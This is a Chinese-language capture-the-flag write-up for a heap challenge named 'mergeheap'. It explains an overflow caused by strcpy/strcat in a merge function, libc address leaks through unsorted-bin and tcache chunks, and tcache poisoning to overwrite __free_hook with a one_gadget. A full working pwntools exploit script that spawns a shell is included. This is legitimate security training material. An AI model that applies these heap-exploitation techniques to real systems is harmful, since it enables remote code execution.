護網 又是簽到 一天
這道題一開始 不懂得如何泄露 libc 信息,就蒙了 后來群里師傅也是剛剛好 做出 到這里 我就接着做了 。
先看下保護,發現 全開了
然后 就看下流程
大概 就是添加 chunk show 合並兩個chunk
可利用的 洞就是
int merge() { int v1; // ST1C_4 signed int i; // [rsp+8h] [rbp-18h] int index1; // [rsp+Ch] [rbp-14h] int index2; // [rsp+10h] [rbp-10h] for ( i = 0; i <= 14 && ptr_array[i]; ++i ) ; if ( i > 14 ) return puts("full"); printf("idx1:"); index1 = sub_B8B(); if ( index1 < 0 || index1 > 14 || !ptr_array[index1] ) return puts("invalid"); printf("idx2:"); index2 = sub_B8B(); if ( index2 < 0 || index2 > 14 || !ptr_array[index2] ) return puts("invalid"); v1 = size_array[index1] + size_array[index2]; ptr_array[i] = malloc(v1); strcpy((char *)ptr_array[i], (const char *)ptr_array[index1]); strcat((char *)ptr_array[i], (const char *)ptr_array[index2]); size_array[i] = v1; return puts("Done"); }
前面的strcpy和strcat的時候只有遇到0才停止復制 所以在merge 的時候 會有可能 把下一chunk的size 復制過來 然后溢出修改了 下一個chunk的 size
所以可以利用這點去 溢出,然后構建好payload ,然后 merge 再 free 再malloc的時候寫到 一個unsortbin的pre_size 和 size 這樣 在show的時候就是連帶着unsortbin的fd輸出了
我看 了另一個師傅的 wp
也發現了 另一種 泄露的 方面 那個簡單 而且不麻煩
這個 就是 填滿了 tcache 再分配了 一個unsortbin的 chunk 然后free 就是在fd 和bk上寫入了main_arena 的上地址,然后 再mallo回來的時候 把前面的 fd寫滿 就能 泄露了
剩下就的 獲取任意寫的能力了 那 其實也是跟第一種 leak 的方法一樣的 操作
就是 在 merge 分配到的 chunk下面有 tacahe中的 bin ,但是要在tacache中要有兩個 這樣可以形成鏈式,然后就可以修改前面的size 在free 再malloc 在malloc的時候 修改fd的內容 這樣就能任意地址malloc了 再malloc 到 malloc_hook 或者 free_hook 就樣就能getshell了
修改之后
malloc 一次
這下再malloc 就ok了
下面貼出 exp
#!/usr/bin/env python # -*- coding: utf-8 -*- #from pwnpwnpwn import * from pwn import * context.log_level = 'debug' host = "127.0.0.1" port = 8888 r = remote(host,port) e = ELF('./mergeheap') libc = ELF('./libc-2.27.so') def add(size, content): r.recvuntil(">>") r.sendline(str(1)) r.recvuntil("len:") r.sendline(str(size)) r.recvuntil("content:") r.sendline(content) def dele(idx): r.recvuntil(">>") r.sendline(str(3)) r.recvuntil("idx:") r.sendline(str(idx)) def show(idx): r.recvuntil(">>") r.sendline(str(2)) r.recvuntil("idx:") r.sendline(str(idx)) def merge(idx1, idx2): r.recvuntil(">>") r.sendline(str(4)) r.recvuntil("idx1:") r.sendline(str(idx1)) r.recvuntil("idx2:") r.sendline(str(idx2)) puts_got = e.got['puts'] log.info('puts_got:0x%x'%puts_got) add(0x30, 'a'*0x30) #0 add(0x38, 'b'*0x38) #1 add(0x100,'C'*0x10) #2 add(0x400, 'c'*0x10) #3 add(0x200, 'd'*0x10) #4 add(0x68, 'e'*0x68) #5 add(0x20,'')#6 add(0x20,'')#7 add(0x20,'')#8 add(0x20,'')#9 dele(7) dele(8) merge(3,4) add(0xa8,'B'*0x68) dele(7) dele(5) merge(0,1) add(0x30,'a'*0x10) dele(6) add(0x100,'a'*0xff+'Q') show(6) r.recvuntil("Q") leak = u64(r.recvuntil("\n",drop = True).ljust(8,'\x00')) libc_addr = leak -0x3ebca0 log.info('libc: 0x%x'%libc_addr) dele(6) target = libc_addr + libc.symbols['__free_hook']-0x13 onegae = libc_addr + 0x4f322 log.info('onegae: 0x%x'%onegae) add(0x100,'a'*0x60+p64(target)+p64(0)) add(0x20,'') add(0x20,'a'*0x13+p64(onegae)) dele(0) r.interactive()